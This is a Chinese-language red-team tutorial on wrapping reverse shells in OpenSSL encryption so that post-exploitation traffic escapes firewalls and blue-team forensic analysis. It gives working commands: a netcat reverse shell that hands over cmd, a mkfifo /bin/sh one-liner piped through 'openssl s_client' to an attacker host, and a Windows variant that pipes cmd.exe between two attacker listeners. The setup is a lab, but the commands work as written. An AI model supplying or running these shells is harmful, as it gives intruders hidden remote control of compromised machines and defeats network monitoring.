红队隧道加密之OpenSSL加密反弹Shell(一)
前言
在红队的后渗透阶段中, 往往需要反弹shell进行下一步的内网横向渗透, 而这种反弹shell大多数都有一个缺点, 那就是其传输的流量都是明文传输, 相当容易被内网的防火软件所捕捉, 要是蓝队对此流量进行朔源分析, 很容易就能复现攻击的整个流程
例如此处用netcat反弹Shell进行测试, 首先在攻击机(kali,192.168.47.134)监听本机6666端口
nc -lvp 6666
在目标主机(win7,192.168.47.149)连接攻击机并反弹一个CmdShell
nc 192.168.47.134 6666 -e cmd
随后可在攻击机接收反弹的CmdShell, 输入ipconfig
进行测试
在攻击机使用wireshark抓取攻击机与目标主机之间的传输数据包, 并追踪其TCP流, 可发现是明文数据
OpenSSL的介绍
OpenSSL 是一个开源的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上
其主要库是以C语言所写成,实现了基本的加密功能,实现了SSL与TLS协议。OpenSSL 可以运行在OpenVMS、 Microsoft Windows以及绝大多数类Unix操作系统上(包括Solaris,Linux,Mac OS X与各种版本的开放源代码BSD操作系统)。
它也提供了一个移植版本,可以在IBM i(OS/400)上运作
OpenSSL下载安装
Windows安装
Windows版本下载地址: https://slproweb.com/products/Win32OpenSSL.html
若你的windows系统是64位, 则按下图所示选择即可
Linux安装
1.下载并安装OpenSSL
# wget https://www.openssl.org/source/openssl-1.1.1s.tar.gz --no-check-certificate
# tar -xzvf openssl-1.1.1s.tar.gz
# cd openssl-1.1.1s
# mkdir /usr/local/openssl
# make
# make install
2.创建软链接
# ln -s /usr/local/openssl/bin/openssl /usr/bin/openssl
3.查看openssl版本验证是否安装成功
#openssl version
OpenSSL使用流程
1.生成自签名证书
在攻击机输入如下命令生成自签名证书, 此处采用的是RSA加密方式; 随后会要求输入证书信息, 直接一路回车即可
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
命令语法: openssl req -x509 -newkey rsa:4096 -keyout [key文件] -out [cert文件] -days 365 -nodes
2.反弹加密Shell
Linux客户端
在攻击机创建服务端, 监听本机的4444端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
在linux客户端输入如下命令进行反弹shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.47.134:4444 > /tmp/s; rm /tmp/s
命令语法:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [服务端IP]:[监听端口] > /tmp/s; rm /tmp/s
随后攻击机接收到反弹回来的shell
Windows客户端
与Linux客户端不一样的是, Windows客户端需要在攻击机用两个shell分别创建两个服务端来对接, 这两个服务端可以是相同IP不同端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
openssl s_server -quiet -key key.pem -cert cert.pem -port 6666
命令语法:
openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]
随后返回客户端输入如下命令, 意思是从192.168.47.134:4444
获取命令发送给cmd执行, 然后将执行结果返回给192.168.47.134:6666
openssl s_client -quiet -connect 192.168.47.134:4444 | cmd.exe | openssl s_client -quiet -connect 192.168.47.134:6666
命令语法:
openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]
随后在攻击机接收到反弹的shell
抓包分析
在攻击机使用wireshark抓包分析, 可发现攻击机和目标主机使用TLS1.2协议进行加密通讯